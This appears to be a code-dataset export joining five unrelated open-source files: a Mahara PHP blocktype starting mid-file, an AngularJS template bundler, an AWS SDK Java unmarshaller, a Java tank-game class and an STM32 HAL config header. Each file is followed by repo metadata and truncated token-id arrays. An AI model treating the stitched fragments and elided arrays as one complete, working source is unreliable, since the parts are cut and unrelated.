'title' => get_string('profileicon', 'artefact.file'),
'description' => get_string('uploadaprofileicon', 'blocktype.internal/profileinfo', get_config('wwwroot')),
'value' => '',
);
$form['profileicon'] = array(
'type' => 'hidden',
'value' => 0,
);
}
else {
$form['profileicon'] = array(
'type' => 'radio',
'title' => get_string('profileicon', 'artefact.file'),
'options' => $iconoptions,
'defaultvalue' => (isset($configdata['profileicon'])) ? $configdata['profileicon'] : 0,
'separator' => '<br>',
);
}
$form['email'] = array(
'type' => 'radio',
'title' => get_string('email', 'artefact.internal'),
'options' => $emailoptions,
'defaultvalue' => (isset($configdata['email'])) ? $configdata['email'] : 0,
'separator' => '<br>',
);
// Introduction
$form['introtext'] = array(
'type' => 'wysiwyg',
'title' => get_string('introtext', 'blocktype.internal/profileinfo'),
'description' => get_string('useintroductioninstead', 'blocktype.internal/profileinfo'),
'defaultvalue' => (isset($configdata['introtext'])) ? $configdata['introtext'] : '',
'width' => '100%',
'height' => '150px',
'rules' => array('maxlength' => 65536),
);
return $form;
}
public static function artefactchooser_element($default=null) {
safe_require('artefact', 'internal');
$artefacttypes = array_diff(PluginArtefactInternal::get_profile_artefact_types(), array('email'));
if (!get_record('blocktype_installed', 'active', 1, 'name', 'socialprofile')) {
$artefacttypes = array_diff($artefacttypes, array('socialprofile'));
}
return array(
'name' => 'artefactids',
'type' => 'artefactchooser',
'title' => get_string('fieldstoshow', 'blocktype.internal/profileinfo'),
'defaultvalue' => $default,
'blocktype' => 'profileinfo',
'limit' => 655360, // 640K profile fields is enough for anyone!
'selectone' => false,
'search' => false,
'artefacttypes' => $artefacttypes,
'template' => 'artefact:internal:artefactchooser-element.tpl',
);
}
/**
* Deliberately enforce _no_ sort order. The database will return them in
* the order they were inserted, which means roughly the order that they
* are listed in the profile screen
*/
public static function artefactchooser_get_sort_order() {
return '';
}
public static function rewrite_blockinstance_config(View $view, $configdata) {
safe_require('artefact', 'internal');
if ($view->get('owner') !== null) {
$artefacttypes = array_diff(PluginArtefactInternal::get_profile_artefact_types(), array('email'));
if (!get_record('blocktype_installed', 'active', 1, 'name', 'socialprofile')) {
$artefacttypes = array_diff($artefacttypes, array('socialprofile'));
}
$artefactids = get_column_sql('
SELECT a.id FROM {artefact} a
WHERE a.owner = ? AND a.artefacttype IN (' . join(',', array_map('db_quote', $artefacttypes)) . ')', array($view->get('owner')));
$configdata['artefactids'] = $artefactids;
if (isset($configdata['email'])) {
if ($newemail = get_field('artefact_internal_profile_email', 'artefact', 'principal', 1, 'owner', $view->get('owner'))) {
$configdata['email'] = $newemail;
}
else {
unset($configdata['email']);
}
}
if (isset($configdata['profileicon'])) {
if ($newicon = get_field('usr', 'profileicon', 'id', $view->get('owner'))) {
$configdata['profileicon'] = $newicon;
}
else {
unset($configdata['profileicon']);
}
}
}
else {
$configdata['artefactids'] = array();
}
return $configdata;
}
public static function default_copy_type() {
return 'shallow';
}
/**
* Profileinfo blocktype is only allowed in personal views, because
* there's no such thing as group/site profiles
*/
public static function allowed_in_view(View $view) {
return $view->get('owner') != null;
}
/**
* Overrides the default implementation so we can export enough information
* to reconstitute profile information again.
*
* Leap2A export doesn't export profile related artefacts as entries, so we
* need to take that into account when exporting config for it.
*/
public static function export_blockinstance_config_leap(BlockInstance $bi) {
return PluginArtefactInternal::export_blockinstance_config_leap($bi);
}
/**
* Sister method to export_blockinstance_config_leap (creates block
* instance based of what that method exports)
*/
public static function import_create_blockinstance_leap(array $biconfig, array $viewconfig) {
return PluginArtefactInternal::import_create_blockinstance_leap($biconfig, $viewconfig);
}
}
| sdc/mahara | htdocs/artefact/internal/blocktype/profileinfo/lib.php | PHP | gpl-3.0 | 12,368 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
1008,
1030,
7427,
24404,
2527,
1008,
1030,
4942,
23947,
4270,
3796,
13874,
1011,
6337,
2378,
14876,
1008,
1030,
3166,
16771,
2009,
5183,
1008,
1030,
6105,
8299,
1024,
1013,
1013,
7479,
1012,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//
// partial2js
// Copyright (c) 2014 Dennis Sänger
// Licensed under the MIT
// http://opensource.org/licenses/MIT
//
"use strict";
var glob = require('glob-all');
var fs = require('fs');
var path = require('path');
var stream = require('stream');
var htmlmin = require('html-minifier').minify;
var escape = require('js-string-escape');
var eol = require('os').EOL;
function Partial2Js( opts ) {
opts = opts || {};
var self = this;
this.debug = !!opts.debug;
this.patterns = [];
this.files = [];
this.contents = {};
this.uniqueFn = function( file ) {
return file;
};
var log = (function log() {
if ( this.debug ) {
console.log.apply( console, arguments );
}
}).bind( this );
var find = (function() {
this.files = glob.sync( this.patterns.slice( 0 )) || [];
}).bind( this );
function cleanPatterns( patterns ) {
return patterns.map(function( entry ) {
return entry.replace(/\/\*+/g, '');
});
}
function compare( patterns, a, b ) {
return matchInPattern( patterns, a ) - matchInPattern( patterns, b );
}
var sort = (function() {
var clean = cleanPatterns( this.patterns );
this.files.sort(function( a, b ) {
return compare( clean, a, b );
});
}).bind( this );
//
// this function is not every functional ;)
// Should use findIndex() [ES6] as soon as possible
//
function matchInPattern( patterns, entry ) {
var res = patterns.length + 100;
patterns.every(function( pattern, index ) {
if ( entry.indexOf( pattern ) > -1 ) {
res = index;
return false;
}
return true;
});
return res;
}
var unique = (function() {
if ( typeof this.uniqueFn === 'function' && this.files && this.files.length ) {
var obj = {};
this.files.forEach(function( file ) {
var key = self.uniqueFn( file );
if ( !obj[key] ) {
obj[key] = file;
}
});
this.files = obj;
}
}).bind( this );
var asString = (function( moduleName ) {
var buffer = '';
buffer += '(function(window,document){' + eol;
buffer += '"use strict";' + eol;
buffer += 'angular.module("'+moduleName+'",[]).run(["$templateCache",function($templateCache){' + eol;
for ( var k in this.contents ) {
buffer += ' $templateCache.put("'+k+'","'+this.contents[k]+'");' + eol;
}
buffer += '}]);' + eol;
buffer += '})(window,document);';
return buffer;
}).bind( this );
var read = (function() {
var id, path, stat;
this.contents = {};
for( var k in this.files ) {
id = k;
path = this.files[k];
stat = fs.statSync( path );
if ( stat.isFile()) {
log('read file:', path, '=>', id );
this.contents[id] = fs.readFileSync( path );
}
}
return this.contents;
}).bind( this );
var asStream = function( string ) {
var s = new stream.Readable();
s._read = function noop() {};
s.push( string );
s.push(null);
return s;
};
var minify = (function() {
var opts = {
collapseWhitespace: true,
preserveLineBreaks: false,
removeComments: true,
removeRedundantAttributes: true,
removeEmptyAttributes: false,
keepClosingSlash: true,
maxLineLength: 0,
customAttrCollapse: /.+/,
html5: true
};
for ( var k in this.contents ) {
this.contents[k] = escape(htmlmin( String(this.contents[k]), opts ));
}
}).bind( this );
this.add = function( pattern ) {
this.patterns.push( pattern );
return this;
};
this.not = function( pattern ) {
this.patterns.push( '!'+pattern );
return this;
};
this.folder = function( folder ) {
if ( folder && String( folder ) === folder ) {
folder = path.resolve( folder ) + '/**/*';
this.patterns.push( folder );
}
return this;
};
this.unique = function( fn ) {
this.uniqueFn = fn;
return this;
};
this.stringify = function( moduleName ) {
find();
sort();
unique();
read();
minify();
return asString( moduleName );
};
this.stream = function( moduleName ) {
return asStream( this.stringify( moduleName ) );
};
}
module.exports = function( opts ) {
return new Partial2Js( opts );
};
| ds82/partial2js | index.js | JavaScript | mit | 4,307 | [
30522,
1013,
1013,
1013,
1013,
7704,
2475,
22578,
1013,
1013,
9385,
1006,
1039,
1007,
2297,
6877,
6369,
2121,
1013,
1013,
7000,
2104,
1996,
10210,
1013,
1013,
8299,
1024,
1013,
1013,
7480,
8162,
3401,
1012,
8917,
1013,
15943,
1013,
10210,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights
* Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package com.amazonaws.services.directory.model.transform;
import java.util.Map;
import java.util.Map.Entry;
import java.math.*;
import java.nio.ByteBuffer;
import com.amazonaws.services.directory.model.*;
import com.amazonaws.transform.SimpleTypeJsonUnmarshallers.*;
import com.amazonaws.transform.*;
import com.fasterxml.jackson.core.JsonToken;
import static com.fasterxml.jackson.core.JsonToken.*;
/**
* CreateConditionalForwarderResult JSON Unmarshaller
*/
public class CreateConditionalForwarderResultJsonUnmarshaller implements
Unmarshaller<CreateConditionalForwarderResult, JsonUnmarshallerContext> {
public CreateConditionalForwarderResult unmarshall(
JsonUnmarshallerContext context) throws Exception {
CreateConditionalForwarderResult createConditionalForwarderResult = new CreateConditionalForwarderResult();
return createConditionalForwarderResult;
}
private static CreateConditionalForwarderResultJsonUnmarshaller instance;
public static CreateConditionalForwarderResultJsonUnmarshaller getInstance() {
if (instance == null)
instance = new CreateConditionalForwarderResultJsonUnmarshaller();
return instance;
}
}
| flofreud/aws-sdk-java | aws-java-sdk-directory/src/main/java/com/amazonaws/services/directory/model/transform/CreateConditionalForwarderResultJsonUnmarshaller.java | Java | apache-2.0 | 1,808 | [
30522,
1013,
1008,
1008,
9385,
2230,
1011,
2355,
9733,
1012,
4012,
1010,
4297,
1012,
2030,
2049,
18460,
1012,
2035,
2916,
1008,
9235,
1012,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
30524,
2475,
1012,
1014,
1008,
1008,
2030,
1999,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package com.bjsxt.tank;
import java.awt.*;
public class Wall {
int x, y, w, h;
TankClient tc ;
public Wall(int x, int y, int w, int h, TankClient tc) {
this.x = x;
this.y = y;
this.w = w;
this.h = h;
this.tc = tc;
}
public void draw(Graphics g) {
Color c = g.getColor();
g.setColor(Color.DARK_GRAY);
g.fillRect(x, y, w, h);
g.setColor(c);
}
public Rectangle getRect() {
return new Rectangle(x, y, w, h);
}
}
| gdutxiaoxu/git- | src/com/bjsxt/tank/Wall.java | Java | apache-2.0 | 471 | [
30522,
7427,
4012,
1012,
1038,
22578,
18413,
1012,
4951,
1025,
12324,
9262,
1012,
22091,
2102,
1012,
1008,
1025,
2270,
2465,
2813,
1063,
20014,
1060,
1010,
1061,
1010,
1059,
1010,
1044,
1025,
4951,
20464,
11638,
22975,
1025,
2270,
2813,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/**
******************************************************************************
* @file stm32f4xx_hal_conf_template.h
* @author MCD Application Team
* @brief HAL configuration template file.
* This file should be copied to the application folder and renamed
* to stm32f4xx_hal_conf.h.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2017 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef __STM32F4xx_HAL_CONF_H
#define __STM32F4xx_HAL_CONF_H
#ifdef __cplusplus
extern "C" {
#endif
/* Exported types ------------------------------------------------------------*/
/* Exported constants --------------------------------------------------------*/
/* ########################## Module Selection ############################## */
/**
* @brief This is the list of modules to be used in the HAL driver
*/
#define HAL_MODULE_ENABLED
// #define HAL_ADC_MODULE_ENABLED
// #define HAL_CAN_MODULE_ENABLED
// #define HAL_CAN_LEGACY_MODULE_ENABLED
// #define HAL_CRC_MODULE_ENABLED
// #define HAL_CEC_MODULE_ENABLED
// #define HAL_CRYP_MODULE_ENABLED
// #define HAL_DAC_MODULE_ENABLED
// #define HAL_DCMI_MODULE_ENABLED
#define HAL_DMA_MODULE_ENABLED
// #define HAL_DMA2D_MODULE_ENABLED
// #define HAL_ETH_MODULE_ENABLED
#define HAL_FLASH_MODULE_ENABLED
// #define HAL_NAND_MODULE_ENABLED
// #define HAL_NOR_MODULE_ENABLED
// #define HAL_PCCARD_MODULE_ENABLED
// #define HAL_SRAM_MODULE_ENABLED
// #define HAL_SDRAM_MODULE_ENABLED
// #define HAL_HASH_MODULE_ENABLED
#define HAL_GPIO_MODULE_ENABLED
// #define HAL_EXTI_MODULE_ENABLED
// #define HAL_I2C_MODULE_ENABLED
// #define HAL_SMBUS_MODULE_ENABLED
// #define HAL_I2S_MODULE_ENABLED
// #define HAL_IWDG_MODULE_ENABLED
// #define HAL_LTDC_MODULE_ENABLED
// #define HAL_DSI_MODULE_ENABLED
#define HAL_PWR_MODULE_ENABLED
// #define HAL_QSPI_MODULE_ENABLED
#define HAL_RCC_MODULE_ENABLED
// #define HAL_RNG_MODULE_ENABLED
// #define HAL_RTC_MODULE_ENABLED
// #define HAL_SAI_MODULE_ENABLED
// #define HAL_SD_MODULE_ENABLED
// #define HAL_SPI_MODULE_ENABLED
// #define HAL_TIM_MODULE_ENABLED
// #define HAL_UART_MODULE_ENABLED
// #define HAL_USART_MODULE_ENABLED
// #define HAL_IRDA_MODULE_ENABLED
// #define HAL_SMARTCARD_MODULE_ENABLED
// #define HAL_WWDG_MODULE_ENABLED
#define HAL_CORTEX_MODULE_ENABLED
// #define HAL_PCD_MODULE_ENABLED
// #define HAL_HCD_MODULE_ENABLED
// #define HAL_FMPI2C_MODULE_ENABLED
// #define HAL_SPDIFRX_MODULE_ENABLED
// #define HAL_DFSDM_MODULE_ENABLED
// #define HAL_LPTIM_MODULE_ENABLED
// #define HAL_MMC_MODULE_ENABLED
/* ########################## HSE/HSI Values adaptation ##################### */
/**
* @brief Adjust the value of External High Speed oscillator (HSE) used in your application.
* This value is used by the RCC HAL module to compute the system frequency
* (when HSE is used as system clock source, directly or through the PLL).
*/
#if !defined (HSE_VALUE)
#define HSE_VALUE 25000000U /*!< Value of the External oscillator in Hz */
#endif /* HSE_VALUE */
#if !defined (HSE_STARTUP_TIMEOUT)
#define HSE_STARTUP_TIMEOUT 100U /*!< Time out for HSE start up, in ms */
#endif /* HSE_STARTUP_TIMEOUT */
/**
* @brief Internal High Speed oscillator (HSI) value.
* This value is used by the RCC HAL module to compute the system frequency
* (when HSI is used as system clock source, directly or through the PLL).
*/
#if !defined (HSI_VALUE)
#define HSI_VALUE 16000000U /*!< Value of the Internal oscillator in Hz */
#endif /* HSI_VALUE */
/**
* @brief Internal Low Speed oscillator (LSI) value.
*/
#if !defined (LSI_VALUE)
#define LSI_VALUE 32000U /*!< LSI Typical Value in Hz */
#endif /* LSI_VALUE */ /*!< Value of the Internal Low Speed oscillator in Hz
The real value may vary depending on the variations
in voltage and temperature. */
/**
* @brief External Low Speed oscillator (LSE) value.
*/
#if !defined (LSE_VALUE)
#define LSE_VALUE 32768U /*!< Value of the External Low Speed oscillator in Hz */
#endif /* LSE_VALUE */
#if !defined (LSE_STARTUP_TIMEOUT)
#define LSE_STARTUP_TIMEOUT 5000U /*!< Time out for LSE start up, in ms */
#endif /* LSE_STARTUP_TIMEOUT */
/**
* @brief External clock source for I2S peripheral
* This value is used by the I2S HAL module to compute the I2S clock source
* frequency, this source is inserted directly through I2S_CKIN pad.
*/
#if !defined (EXTERNAL_CLOCK_VALUE)
#define EXTERNAL_CLOCK_VALUE 12288000U /*!< Value of the External oscillator in Hz*/
#endif /* EXTERNAL_CLOCK_VALUE */
/* Tip: To avoid modifying this file each time you need to use different HSE,
=== you can define the HSE value in your toolchain compiler preprocessor. */
/* ########################### System Configuration ######################### */
/**
* @brief This is the HAL system configuration section
*/
#define VDD_VALUE 3300U /*!< Value of VDD in mv */
#define TICK_INT_PRIORITY 0x0FU /*!< tick interrupt priority */
#define USE_RTOS 0U
#define PREFETCH_ENABLE 1U
#define INSTRUCTION_CACHE_ENABLE 1U
#define DATA_CACHE_ENABLE 1U
#define USE_HAL_ADC_REGISTER_CALLBACKS 0U /* ADC register callback disabled */
#define USE_HAL_CAN_REGISTER_CALLBACKS 0U /* CAN register callback disabled */
#define USE_HAL_CEC_REGISTER_CALLBACKS 0U /* CEC register callback disabled */
#define USE_HAL_CRYP_REGISTER_CALLBACKS 0U /* CRYP register callback disabled */
#define USE_HAL_DAC_REGISTER_CALLBACKS 0U /* DAC register callback disabled */
#define USE_HAL_DCMI_REGISTER_CALLBACKS 0U /* DCMI register callback disabled */
#define USE_HAL_DFSDM_REGISTER_CALLBACKS 0U /* DFSDM register callback disabled */
#define USE_HAL_DMA2D_REGISTER_CALLBACKS 0U /* DMA2D register callback disabled */
#define USE_HAL_DSI_REGISTER_CALLBACKS 0U /* DSI register callback disabled */
#define USE_HAL_ETH_REGISTER_CALLBACKS 0U /* ETH register callback disabled */
#define USE_HAL_HASH_REGISTER_CALLBACKS 0U /* HASH register callback disabled */
#define USE_HAL_HCD_REGISTER_CALLBACKS 0U /* HCD register callback disabled */
#define USE_HAL_I2C_REGISTER_CALLBACKS 0U /* I2C register callback disabled */
#define USE_HAL_FMPI2C_REGISTER_CALLBACKS 0U /* FMPI2C register callback disabled */
#define USE_HAL_I2S_REGISTER_CALLBACKS 0U /* I2S register callback disabled */
#define USE_HAL_IRDA_REGISTER_CALLBACKS 0U /* IRDA register callback disabled */
#define USE_HAL_LPTIM_REGISTER_CALLBACKS 0U /* LPTIM register callback disabled */
#define USE_HAL_LTDC_REGISTER_CALLBACKS 0U /* LTDC register callback disabled */
#define USE_HAL_MMC_REGISTER_CALLBACKS 0U /* MMC register callback disabled */
#define USE_HAL_NAND_REGISTER_CALLBACKS 0U /* NAND register callback disabled */
#define USE_HAL_NOR_REGISTER_CALLBACKS 0U /* NOR register callback disabled */
#define USE_HAL_PCCARD_REGISTER_CALLBACKS 0U /* PCCARD register callback disabled */
#define USE_HAL_PCD_REGISTER_CALLBACKS 0U /* PCD register callback disabled */
#define USE_HAL_QSPI_REGISTER_CALLBACKS 0U /* QSPI register callback disabled */
#define USE_HAL_RNG_REGISTER_CALLBACKS 0U /* RNG register callback disabled */
#define USE_HAL_RTC_REGISTER_CALLBACKS 0U /* RTC register callback disabled */
#define USE_HAL_SAI_REGISTER_CALLBACKS 0U /* SAI register callback disabled */
#define USE_HAL_SD_REGISTER_CALLBACKS 0U /* SD register callback disabled */
#define USE_HAL_SMARTCARD_REGISTER_CALLBACKS 0U /* SMARTCARD register callback disabled */
#define USE_HAL_SDRAM_REGISTER_CALLBACKS 0U /* SDRAM register callback disabled */
#define USE_HAL_SRAM_REGISTER_CALLBACKS 0U /* SRAM register callback disabled */
#define USE_HAL_SPDIFRX_REGISTER_CALLBACKS 0U /* SPDIFRX register callback disabled */
#define USE_HAL_SMBUS_REGISTER_CALLBACKS 0U /* SMBUS register callback disabled */
#define USE_HAL_SPI_REGISTER_CALLBACKS 0U /* SPI register callback disabled */
#define USE_HAL_TIM_REGISTER_CALLBACKS 0U /* TIM register callback disabled */
#define USE_HAL_UART_REGISTER_CALLBACKS 0U /* UART register callback disabled */
#define USE_HAL_USART_REGISTER_CALLBACKS 0U /* USART register callback disabled */
#define USE_HAL_WWDG_REGISTER_CALLBACKS 0U /* WWDG register callback disabled */
/* ########################## Assert Selection ############################## */
/**
* @brief Uncomment the line below to expanse the "assert_param" macro in the
* HAL drivers code
*/
/* #define USE_FULL_ASSERT 1U */
/* ################## Ethernet peripheral configuration ##################### */
/* Section 1 : Ethernet peripheral configuration */
/* MAC ADDRESS: MAC_ADDR0:MAC_ADDR1:MAC_ADDR2:MAC_ADDR3:MAC_ADDR4:MAC_ADDR5 */
#define MAC_ADDR0 2U
#define MAC_ADDR1 0U
#define MAC_ADDR2 0U
#define MAC_ADDR3 0U
#define MAC_ADDR4 0U
#define MAC_ADDR5 0U
/* Definition of the Ethernet driver buffers size and count */
#define ETH_RX_BUF_SIZE ETH_MAX_PACKET_SIZE /* buffer size for receive */
#define ETH_TX_BUF_SIZE ETH_MAX_PACKET_SIZE /* buffer size for transmit */
#define ETH_RXBUFNB 4U /* 4 Rx buffers of size ETH_RX_BUF_SIZE */
#define ETH_TXBUFNB 4U /* 4 Tx buffers of size ETH_TX_BUF_SIZE */
/* Section 2: PHY configuration section */
/* DP83848 PHY Address*/
#define DP83848_PHY_ADDRESS 0x01U
/* PHY Reset delay these values are based on a 1 ms Systick interrupt*/
#define PHY_RESET_DELAY 0x000000FFU
/* PHY Configuration delay */
#define PHY_CONFIG_DELAY 0x00000FFFU
#define PHY_READ_TO 0x0000FFFFU
#define PHY_WRITE_TO 0x0000FFFFU
/* Section 3: Common PHY Registers */
#define PHY_BCR ((uint16_t)0x0000) /*!< Transceiver Basic Control Register */
#define PHY_BSR ((uint16_t)0x0001) /*!< Transceiver Basic Status Register */
#define PHY_RESET ((uint16_t)0x8000) /*!< PHY Reset */
#define PHY_LOOPBACK ((uint16_t)0x4000) /*!< Select loop-back mode */
#define PHY_FULLDUPLEX_100M ((uint16_t)0x2100) /*!< Set the full-duplex mode at 100 Mb/s */
#define PHY_HALFDUPLEX_100M ((uint16_t)0x2000) /*!< Set the half-duplex mode at 100 Mb/s */
#define PHY_FULLDUPLEX_10M ((uint16_t)0x0100) /*!< Set the full-duplex mode at 10 Mb/s */
#define PHY_HALFDUPLEX_10M ((uint16_t)0x0000) /*!< Set the half-duplex mode at 10 Mb/s */
#define PHY_AUTONEGOTIATION ((uint16_t)0x1000) /*!< Enable auto-negotiation function */
#define PHY_RESTART_AUTONEGOTIATION ((uint16_t)0x0200) /*!< Restart auto-negotiation function */
#define PHY_POWERDOWN ((uint16_t)0x0800) /*!< Select the power down mode */
#define PHY_ISOLATE ((uint16_t)0x0400) /*!< Isolate PHY from MII */
#define PHY_AUTONEGO_COMPLETE ((uint16_t)0x0020) /*!< Auto-Negotiation process completed */
#define PHY_LINKED_STATUS ((uint16_t)0x0004) /*!< Valid link established */
#define PHY_JABBER_DETECTION ((uint16_t)0x0002) /*!< Jabber condition detected */
/* Section 4: Extended PHY Registers */
#define PHY_SR ((uint16_t)0x0010) /*!< PHY status register Offset */
#define PHY_MICR ((uint16_t)0x0011) /*!< MII Interrupt Control Register */
#define PHY_MISR ((uint16_t)0x0012) /*!< MII Interrupt Status and Misc. Control Register */
#define PHY_LINK_STATUS ((uint16_t)0x0001) /*!< PHY Link mask */
#define PHY_SPEED_STATUS ((uint16_t)0x0002) /*!< PHY Speed mask */
#define PHY_DUPLEX_STATUS ((uint16_t)0x0004) /*!< PHY Duplex mask */
#define PHY_MICR_INT_EN ((uint16_t)0x0002) /*!< PHY Enable interrupts */
#define PHY_MICR_INT_OE ((uint16_t)0x0001) /*!< PHY Enable output interrupt events */
#define PHY_MISR_LINK_INT_EN ((uint16_t)0x0020) /*!< Enable Interrupt on change of link status */
#define PHY_LINK_INTERRUPT ((uint16_t)0x2000) /*!< PHY link status interrupt mask */
/* ################## SPI peripheral configuration ########################## */
/* CRC FEATURE: Use to activate CRC feature inside HAL SPI Driver
* Activated: CRC code is present inside driver
* Deactivated: CRC code cleaned from driver
*/
#define USE_SPI_CRC 1U
/* Includes ------------------------------------------------------------------*/
/**
* @brief Include module's header file
*/
#ifdef HAL_RCC_MODULE_ENABLED
#include "stm32f4xx_hal_rcc.h"
#endif /* HAL_RCC_MODULE_ENABLED */
#ifdef HAL_GPIO_MODULE_ENABLED
#include "stm32f4xx_hal_gpio.h"
#endif /* HAL_GPIO_MODULE_ENABLED */
#ifdef HAL_EXTI_MODULE_ENABLED
#include "stm32f4xx_hal_exti.h"
#endif /* HAL_EXTI_MODULE_ENABLED */
#ifdef HAL_DMA_MODULE_ENABLED
#include "stm32f4xx_hal_dma.h"
#endif /* HAL_DMA_MODULE_ENABLED */
#ifdef HAL_CORTEX_MODULE_ENABLED
#include "stm32f4xx_hal_cortex.h"
#endif /* HAL_CORTEX_MODULE_ENABLED */
#ifdef HAL_ADC_MODULE_ENABLED
#include "stm32f4xx_hal_adc.h"
#endif /* HAL_ADC_MODULE_ENABLED */
#ifdef HAL_CAN_MODULE_ENABLED
#include "stm32f4xx_hal_can.h"
#endif /* HAL_CAN_MODULE_ENABLED */
#ifdef HAL_CAN_LEGACY_MODULE_ENABLED
#include "stm32f4xx_hal_can_legacy.h"
#endif /* HAL_CAN_LEGACY_MODULE_ENABLED */
#ifdef HAL_CRC_MODULE_ENABLED
#include "stm32f4xx_hal_crc.h"
#endif /* HAL_CRC_MODULE_ENABLED */
#ifdef HAL_CRYP_MODULE_ENABLED
#include "stm32f4xx_hal_cryp.h"
#endif /* HAL_CRYP_MODULE_ENABLED */
#ifdef HAL_DMA2D_MODULE_ENABLED
#include "stm32f4xx_hal_dma2d.h"
#endif /* HAL_DMA2D_MODULE_ENABLED */
#ifdef HAL_DAC_MODULE_ENABLED
#include "stm32f4xx_hal_dac.h"
#endif /* HAL_DAC_MODULE_ENABLED */
#ifdef HAL_DCMI_MODULE_ENABLED
#include "stm32f4xx_hal_dcmi.h"
#endif /* HAL_DCMI_MODULE_ENABLED */
#ifdef HAL_ETH_MODULE_ENABLED
#include "stm32f4xx_hal_eth.h"
#endif /* HAL_ETH_MODULE_ENABLED */
#ifdef HAL_FLASH_MODULE_ENABLED
#include "stm32f4xx_hal_flash.h"
#endif /* HAL_FLASH_MODULE_ENABLED */
#ifdef HAL_SRAM_MODULE_ENABLED
#include "stm32f4xx_hal_sram.h"
#endif /* HAL_SRAM_MODULE_ENABLED */
#ifdef HAL_NOR_MODULE_ENABLED
#include "stm32f4xx_hal_nor.h"
#endif /* HAL_NOR_MODULE_ENABLED */
#ifdef HAL_NAND_MODULE_ENABLED
#include "stm32f4xx_hal_nand.h"
#endif /* HAL_NAND_MODULE_ENABLED */
